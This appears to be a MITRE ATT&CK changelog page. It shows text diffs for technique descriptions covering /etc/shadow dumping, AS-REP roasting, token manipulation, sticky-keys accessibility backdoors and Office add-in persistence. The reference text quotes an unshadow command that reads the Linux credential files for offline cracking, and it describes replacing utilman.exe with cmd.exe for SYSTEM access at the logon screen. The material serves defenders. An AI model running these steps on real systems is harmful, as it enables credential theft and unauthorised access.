|
These ATT&CK Navigator layer files can be uploaded to ATT&CK Navigator manually.
This JSON file contains the machine readble output used to create this page: changelog.json
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to dump the contents of <code>/etc/p | t | 1 | Adversaries may attempt to dump the contents of <code>/etc/p |
| > | asswd</code> and <code>/etc/shadow</code> to enable offline | > | asswd</code> and <code>/etc/shadow</code> to enable offline | ||
| > | password cracking. Most modern Linux operating systems use a | > | password cracking. Most modern Linux operating systems use a | ||
| > | combination of <code>/etc/passwd</code> and <code>/etc/shad | > | combination of <code>/etc/passwd</code> and <code>/etc/shad | ||
| > | ow</code> to store user account information, including passw | > | ow</code> to store user account information, including passw | ||
| > | ord hashes in <code>/etc/shadow</code>. By default, <code>/e | > | ord hashes in <code>/etc/shadow</code>. By default, <code>/e | ||
| > | tc/shadow</code> is only readable by the root user.(Citation | > | tc/shadow</code> is only readable by the root user.(Citation | ||
| > | : Linux Password and Shadow File Formats) Linux stores user | > | : Linux Password and Shadow File Formats) Linux stores user | ||
| > | information such as user ID, group ID, home directory path, | > | information such as user ID, group ID, home directory path, | ||
| > | and login shell in <code>/etc/passwd</code>. A "user" on th | > | and login shell in <code>/etc/passwd</code>. A "user" on th | ||
| > | e system may belong to a person or a service. All password h | > | e system may belong to a person or a service. All password h | ||
| > | ashes are stored in <code>/etc/shadow</code> - including ent | > | ashes are stored in <code>/etc/shadow</code> - including ent | ||
| > | ries for users with no passwords and users with locked or di | > | ries for users with no passwords and users with locked or di | ||
| > | sabled accounts.(Citation: Linux Password and Shadow File Fo | > | sabled accounts.(Citation: Linux Password and Shadow File Fo | ||
| > | rmats) Adversaries may attempt to read or dump the <code>/e | > | rmats) Adversaries may attempt to read or dump the <code>/e | ||
| > | tc/passwd</code> and <code>/etc/shadow</code> files on Linux | > | tc/passwd</code> and <code>/etc/shadow</code> files on Linux | ||
| > | systems via command line utilities such as the <code>cat</c | > | systems via command line utilities such as the <code>cat</c | ||
| > | ode> command.(Citation: Arctic Wolf) Additionally, the Linux | > | ode> command.(Citation: Arctic Wolf) Additionally, the Linux | ||
| > | utility <code>unshadow</code> can be used to combine the tw | > | utility <code>unshadow</code> can be used to combine the tw | ||
| > | o files in a format suited for password cracking utilities s | > | o files in a format suited for password cracking utilities s | ||
| > | uch as John the Ripper - for example, via the command <code> | > | uch as John the Ripper - for example, via the command <code> | ||
| > | /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.passw | > | /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.passw | ||
| > | ord.db</code>(Citation: nixCraft - John the Ripper). Since t | > | ord.db</code>(Citation: nixCraft - John the Ripper). Since t | ||
| > | he user information stored in <code>/etc/passwd</code> are l | > | he user information stored in <code>/etc/passwd</code> is li | ||
| > | inked to the password hashes in <code>/etc/shadow</code>, an | > | nked to the password hashes in <code>/etc/shadow</code>, an | ||
| > | adversary would need to have access to both. | > | adversary would need to have access to both. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:25.253000+00:00 | 2026-11-04 03:04:07.550000+00:00 |
| description | Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information, including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)
Linux stores user information such as user ID, group ID, home directory path, and login shell in /etc/passwd. A "user" on the system may belong to a person or a service. All password hashes are stored in /etc/shadow - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)
Adversaries may attempt to read or dump the /etc/passwd and /etc/shadow files on Linux systems via command line utilities such as the cat command.(Citation: Arctic Wolf) Additionally, the Linux utility unshadow can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db(Citation: nixCraft - John the Ripper). Since the user information stored in /etc/passwd are linked to the password hashes in /etc/shadow, an adversary would need to have access to both. | Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information, including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)
Linux stores user information such as user ID, group ID, home directory path, and login shell in /etc/passwd. A "user" on the system may belong to a person or a service. All password hashes are stored in /etc/shadow - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)
Adversaries may attempt to read or dump the /etc/passwd and /etc/shadow files on Linux systems via command line utilities such as the cat command.(Citation: Arctic Wolf) Additionally, the Linux utility unshadow can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db(Citation: nixCraft - John the Ripper). Since the user information stored in /etc/passwd is linked to the password hashes in /etc/shadow, an adversary would need to have access to both. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Ben Smith, @cmdaltr'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-09 16:32:40.851000+00:00 | 2026-11-03 15:39:31.217000+00:00 |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may reveal credentials of accounts that have dis | t | 1 | Adversaries may reveal credentials of accounts that have dis |
| > | abled Kerberos preauthentication by [Password Cracking](http | > | abled Kerberos preauthentication by [Password Cracking](http | ||
| > | s://attack.mitre.org/techniques/T1110/002) Kerberos messages | > | s://attack.mitre.org/techniques/T1110/002) Kerberos messages | ||
| > | .(Citation: Harmj0y Roasting AS-REPs Jan 2017) Preauthenti | > | .(Citation: Harmj0y Roasting AS-REPs Jan 2017) Preauthenti | ||
| > | cation offers protection against offline [Password Cracking] | > | cation offers protection against offline [Password Cracking] | ||
| > | (https://attack.mitre.org/techniques/T1110/002). When enable | > | (https://attack.mitre.org/techniques/T1110/002). When enable | ||
| > | d, a user requesting access to a resource initiates communic | > | d, a user requesting access to a resource initiates communic | ||
| > | ation with the Domain Controller (DC) by sending an Authenti | > | ation with the Domain Controller (DC) by sending an Authenti | ||
| > | cation Server Request (AS-REQ) message with a timestamp that | > | cation Server Request (AS-REQ) message with a timestamp that | ||
| > | is encrypted with the hash of their password. If and only i | > | is encrypted with the hash of their password. If and only i | ||
| > | f the DC is able to successfully decrypt the timestamp with | > | f the DC is able to successfully decrypt the timestamp with | ||
| > | the hash of the user’s password, it will then send an Authen | > | the hash of the user’s password, it will then send an Authen | ||
| > | tication Server Response (AS-REP) message that contains the | > | tication Server Response (AS-REP) message that contains the | ||
| > | Ticket Granting Ticket (TGT) to the user. Part of the AS-REP | > | Ticket Granting Ticket (TGT) to the user. Part of the AS-REP | ||
| > | message is signed with the user’s password.(Citation: Micro | > | message is signed with the user’s password.(Citation: Micro | ||
| > | soft Kerberos Preauth 2014) For each account found without | > | soft Kerberos Preauth 2014) For each account found without | ||
| > | preauthentication, an adversary may send an AS-REQ message w | > | preauthentication, an adversary may send an AS-REQ message w | ||
| > | ithout the encrypted timestamp and receive an AS-REP message | > | ithout the encrypted timestamp and receive an AS-REP message | ||
| > | with TGT data which may be encrypted with an insecure algor | > | with TGT data which may be encrypted with an insecure algor | ||
| > | ithm such as RC4. The recovered encrypted data may be vulner | > | ithm such as RC4. The recovered encrypted data may be vulner | ||
| > | able to offline [Password Cracking](https://attack.mitre.org | > | able to offline [Password Cracking](https://attack.mitre.org | ||
| > | /techniques/T1110/002) attacks similarly to [Kerberoasting]( | > | /techniques/T1110/002) attacks similarly to [Kerberoasting]( | ||
| > | https://attack.mitre.org/techniques/T1558/003) and expose pl | > | https://attack.mitre.org/techniques/T1558/003) and expose pl | ||
| > | aintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan | > | aintext credentials.(Citation: Harmj0y Roasting AS-REPs Jan | ||
| > | 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 20 | > | 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 201 | ||
| > | 19) An account registered to a domain, with or without spe | > | 9) An account registered to a domain, with or without spec | ||
| > | cial privileges, can be abused to list all domain accounts t | > | ial privileges, can be abused to list all domain accounts th | ||
| > | hat have preauthentication disabled by utilizing Windows too | > | at have preauthentication disabled by utilizing Windows tool | ||
| > | ls like [PowerShell](https://attack.mitre.org/techniques/T10 | > | s like [PowerShell](https://attack.mitre.org/techniques/T105 | ||
| > | 59/001) with an LDAP filter. Alternatively, the adversary ma | > | 9/001) with an LDAP filter. Alternatively, the adversary may | ||
| > | y send an AS-REQ message for each user. If the DC responds w | > | send an AS-REQ message for each user. If the DC responds wi | ||
| > | ithout errors, the account does not require preauthenticatio | > | thout errors, the account does not require preauthentication | ||
| > | n and the AS-REP message will already contain the encrypted | > | and the AS-REP message will already contain the encrypted d | ||
| > | data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation | > | ata.(Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: | ||
| > | : Stealthbits Cracking AS-REP Roasting Jun 2019) Cracked ha | > | Stealthbits Cracking AS-REP Roasting Jun 2019) Cracked hash | ||
| > | shes may enable [Persistence](https://attack.mitre.org/tacti | > | es may enable [Persistence](https://attack.mitre.org/tactics | ||
| > | cs/TA0003), [Privilege Escalation](https://attack.mitre.org/ | > | /TA0003), [Privilege Escalation](https://attack.mitre.org/ta | ||
| > | tactics/TA0004), and [Lateral Movement](https://attack.mitre | > | ctics/TA0004), and [Lateral Movement](https://attack.mitre.o | ||
| > | .org/tactics/TA0008) via access to [Valid Accounts](https:// | > | rg/tactics/TA0008) via access to [Valid Accounts](https://at | ||
| > | attack.mitre.org/techniques/T1078).(Citation: SANS Attacking | > | tack.mitre.org/techniques/T1078).(Citation: SANS Attacking K | ||
| > | Kerberos Nov 2014) | > | erberos Nov 2014) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:39.884000+00:00 | 2026-11-04 00:59:29.656000+00:00 |
| description | Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) Preauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.(Citation: Microsoft Kerberos Preauth 2014) For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014) | Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) Preauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.(Citation: Microsoft Kerberos Preauth 2014) For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials.(Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data.(Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Detecting Kerberoasting Feb 2018', 'description': 'Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', 'url': 'https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/'} | |
| external_references | {'source_name': 'AdSecurity Cracking Kerberos Dec 2015', 'description': 'Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', 'url': 'https://adsecurity.org/?p=2293'} | |
| external_references | {'source_name': 'Microsoft 4768 TGT 2017', 'description': 'Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768'} |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify access tokens to operate under a diff | t | 1 | Adversaries may modify access tokens to operate under a diff |
| > | erent user or system security context to perform actions and | > | erent user or system security context to perform actions and | ||
| > | bypass access controls. Windows uses access tokens to deter | > | bypass access controls. Windows uses access tokens to deter | ||
| > | mine the ownership of a running process. A user can manipula | > | mine the ownership of a running process. A user can manipula | ||
| > | te access tokens to make a running process appear as though | > | te access tokens to make a running process appear as though | ||
| > | it is the child of a different process or belongs to someone | > | it is the child of a different process or belongs to someone | ||
| > | other than the user that started the process. When this occ | > | other than the user that started the process. When this occ | ||
| > | urs, the process also takes on the security context associat | > | urs, the process also takes on the security context associat | ||
| > | ed with the new token. An adversary can use built-in Window | > | ed with the new token. An adversary can use built-in Window | ||
| > | s API functions to copy access tokens from existing processe | > | s API functions to copy access tokens from existing processe | ||
| > | s; this is known as token stealing. These token can then be | > | s; this is known as token stealing. These tokens can then be | ||
| > | applied to an existing process (i.e. [Token Impersonation/Th | > | applied to an existing process (i.e. [Token Impersonation/T | ||
| > | eft](https://attack.mitre.org/techniques/T1134/001)) or used | > | heft](https://attack.mitre.org/techniques/T1134/001)) or use | ||
| > | to spawn a new process (i.e. [Create Process with Token](ht | > | d to spawn a new process (i.e. [Create Process with Token](h | ||
| > | tps://attack.mitre.org/techniques/T1134/002)). An adversary | > | ttps://attack.mitre.org/techniques/T1134/002)). An adversary | ||
| > | must already be in a privileged user context (i.e. administr | > | must already be in a privileged user context (i.e. administ | ||
| > | ator) to steal a token. However, adversaries commonly use to | > | rator) to steal a token. However, adversaries commonly use t | ||
| > | ken stealing to elevate their security context from the admi | > | oken stealing to elevate their security context from the adm | ||
| > | nistrator level to the SYSTEM level. An adversary can then u | > | inistrator level to the SYSTEM level. An adversary can then | ||
| > | se a token to authenticate to a remote system as the account | > | use a token to authenticate to a remote system as the accoun | ||
| > | for that token if the account has appropriate permissions o | > | t for that token if the account has appropriate permissions | ||
| > | n the remote system.(Citation: Pentestlab Token Manipulation | > | on the remote system.(Citation: Pentestlab Token Manipulatio | ||
| > | ) Any standard user can use the <code>runas</code> command, | > | n) Any standard user can use the <code>runas</code> command | ||
| > | and the Windows API functions, to create impersonation toke | > | , and the Windows API functions, to create impersonation tok | ||
| > | ns; it does not require access to an administrator account. | > | ens; it does not require access to an administrator account. | ||
| > | There are also other mechanisms, such as Active Directory fi | > | There are also other mechanisms, such as Active Directory f | ||
| > | elds, that can be used to modify access tokens. | > | ields, that can be used to modify access tokens. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.722000+00:00 | 2026-11-03 21:48:27.890000+00:00 |
| description | Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)
Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens. | Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These tokens can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)
Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens. |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by accessibilit | > | ges by executing malicious content triggered by accessibilit | ||
| > | y features. Windows contains accessibility features that may | > | y features. Windows contains accessibility features that may | ||
| > | be launched with a key combination before a user has logged | > | be launched with a key combination before a user has logged | ||
| > | in (ex: when the user is on the Windows logon screen). An a | > | in (ex: when the user is on the Windows logon screen). An a | ||
| > | dversary can modify the way these programs are launched to g | > | dversary can modify the way these programs are launched to g | ||
| > | et a command prompt or backdoor without logging in to the sy | > | et a command prompt or backdoor without logging in to the sy | ||
| > | stem. Two common accessibility programs are <code>C:\Window | > | stem. Two common accessibility programs are <code>C:\Window | ||
| > | s\System32\sethc.exe</code>, launched when the shift key is | > | s\System32\sethc.exe</code>, launched when the shift key is | ||
| > | pressed five times and <code>C:\Windows\System32\utilman.exe | > | pressed five times and <code>C:\Windows\System32\utilman.exe | ||
| > | </code>, launched when the Windows + U key combination is pr | > | </code>, launched when the Windows + U key combination is pr | ||
| > | essed. The sethc.exe program is often referred to as "sticky | > | essed. The sethc.exe program is often referred to as "sticky | ||
| > | keys", and has been used by adversaries for unauthenticated | > | keys", and has been used by adversaries for unauthenticated | ||
| > | access through a remote desktop login screen. (Citation: Fi | > | access through a remote desktop login screen.(Citation: Fir | ||
| > | reEye Hikit Rootkit) Depending on the version of Windows, a | > | eEye Hikit Rootkit) Depending on the version of Windows, an | ||
| > | n adversary may take advantage of these features in differen | > | adversary may take advantage of these features in different | ||
| > | t ways. Common methods used by adversaries include replacing | > | ways. Common methods used by adversaries include replacing | ||
| > | accessibility feature binaries or pointers/references to th | > | accessibility feature binaries or pointers/references to the | ||
| > | ese binaries in the Registry. In newer versions of Windows, | > | se binaries in the Registry. In newer versions of Windows, t | ||
| > | the replaced binary needs to be digitally signed for x64 sys | > | he replaced binary needs to be digitally signed for x64 syst | ||
| > | tems, the binary must reside in <code>%systemdir%\</code>, a | > | ems, the binary must reside in <code>%systemdir%\</code>, an | ||
| > | nd it must be protected by Windows File or Resource Protecti | > | d it must be protected by Windows File or Resource Protectio | ||
| > | on (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image | > | n (WFP/WRP).(Citation: DEFCON2016 Sticky Keys) The [Image Fi | ||
| > | File Execution Options Injection](https://attack.mitre.org/t | > | le Execution Options Injection](https://attack.mitre.org/tec | ||
| > | echniques/T1546/012) debugger method was likely discovered a | > | hniques/T1546/012) debugger method was likely discovered as | ||
| > | s a potential workaround because it does not require the cor | > | a potential workaround because it does not require the corre | ||
| > | responding accessibility feature binary to be replaced. For | > | sponding accessibility feature binary to be replaced. For s | ||
| > | simple binary replacement on Windows XP and later as well a | > | imple binary replacement on Windows XP and later as well as | ||
| > | s and Windows Server 2003/R2 and later, for example, the pro | > | Windows Server 2003/R2 and later, for example, the program ( | ||
| > | gram (e.g., <code>C:\Windows\System32\utilman.exe</code>) ma | > | e.g., <code>C:\Windows\System32\utilman.exe</code>) may be r | ||
| > | y be replaced with "cmd.exe" (or another program that provid | > | eplaced with "cmd.exe" (or another program that provides bac | ||
| > | es backdoor access). Subsequently, pressing the appropriate | > | kdoor access). Subsequently, pressing the appropriate key co | ||
| > | key combination at the login screen while sitting at the key | > | mbination at the login screen while sitting at the keyboard | ||
| > | board or when connected over [Remote Desktop Protocol](https | > | or when connected over [Remote Desktop Protocol](https://att | ||
| > | ://attack.mitre.org/techniques/T1021/001) will cause the rep | > | ack.mitre.org/techniques/T1021/001) will cause the replaced | ||
| > | laced file to be executed with SYSTEM privileges. (Citation: | > | file to be executed with SYSTEM privileges.(Citation: Tilbur | ||
| > | Tilbury 2014) Other accessibility features exist that may | > | y 2014) Other accessibility features exist that may also be | ||
| > | also be leveraged in a similar fashion: (Citation: DEFCON201 | > | leveraged in a similar fashion:(Citation: DEFCON2016 Sticky | ||
| > | 6 Sticky Keys)(Citation: Narrator Accessibility Abuse) * On | > | Keys)(Citation: Narrator Accessibility Abuse) * On-Screen | ||
| > | -Screen Keyboard: <code>C:\Windows\System32\osk.exe</code> * | > | Keyboard: <code>C:\Windows\System32\osk.exe</code> * Magnifi | ||
| > | Magnifier: <code>C:\Windows\System32\Magnify.exe</code> * N | > | er: <code>C:\Windows\System32\Magnify.exe</code> * Narrator: | ||
| > | arrator: <code>C:\Windows\System32\Narrator.exe</code> * Dis | > | <code>C:\Windows\System32\Narrator.exe</code> * Display Swi | ||
| > | play Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</ | > | tcher: <code>C:\Windows\System32\DisplaySwitch.exe</code> * | ||
| > | code> * App Switcher: <code>C:\Windows\System32\AtBroker.exe | > | App Switcher: <code>C:\Windows\System32\AtBroker.exe</code> | ||
| > | </code> | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:56.964000+00:00 | 2026-11-04 00:50:50.882000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)
Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.
For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)
* On-Screen Keyboard: C:\Windows\System32\osk.exe
* Magnifier: C:\Windows\System32\Magnify.exe
* Narrator: C:\Windows\System32\Narrator.exe
* Display Switcher: C:\Windows\System32\DisplaySwitch.exe
* App Switcher: C:\Windows\System32\AtBroker.exe | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen.(Citation: FireEye Hikit Rootkit)
Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP).(Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.
For simple binary replacement on Windows XP and later as well as Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges.(Citation: Tilbury 2014)
Other accessibility features exist that may also be leveraged in a similar fashion:(Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)
* On-Screen Keyboard: C:\Windows\System32\osk.exe
* Magnifier: C:\Windows\System32\Magnify.exe
* Narrator: C:\Windows\System32\Narrator.exe
* Display Switcher: C:\Windows\System32\DisplaySwitch.exe
* App Switcher: C:\Windows\System32\AtBroker.exe |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Microsoft Office add-ins to obtain per | t | 1 | Adversaries may abuse Microsoft Office add-ins to obtain per |
| > | sistence on a compromised system. Office add-ins can be used | > | sistence on a compromised system. Office add-ins can be used | ||
| > | to add functionality to Office programs. (Citation: Microso | > | to add functionality to Office programs.(Citation: Microsof | ||
| > | ft Office Add-ins) There are different types of add-ins that | > | t Office Add-ins) There are different types of add-ins that | ||
| > | can be used by the various Office products; including Word/ | > | can be used by the various Office products; including Word/E | ||
| > | Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Compon | > | xcel add-in Libraries (WLL/XLL), VBA add-ins, Office Compone | ||
| > | ent Object Model (COM) add-ins, automation add-ins, VBA Edit | > | nt Object Model (COM) add-ins, automation add-ins, VBA Edito | ||
| > | or (VBE), Visual Studio Tools for Office (VSTO) add-ins, and | > | r (VBE), Visual Studio Tools for Office (VSTO) add-ins, and | ||
| > | Outlook add-ins. (Citation: MRWLabs Office Persistence Add- | > | Outlook add-ins.(Citation: MRWLabs Office Persistence Add-in | ||
| > | ins)(Citation: FireEye Mail CDS 2018) Add-ins can be used t | > | s)(Citation: FireEye Mail CDS 2018) Add-ins can be used to | ||
| > | o obtain persistence because they can be set to execute code | > | obtain persistence because they can be set to execute code w | ||
| > | when an Office application starts. | > | hen an Office application starts. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:37.911000+00:00 | 2026-11-04 03:32:41.972000+00:00 |
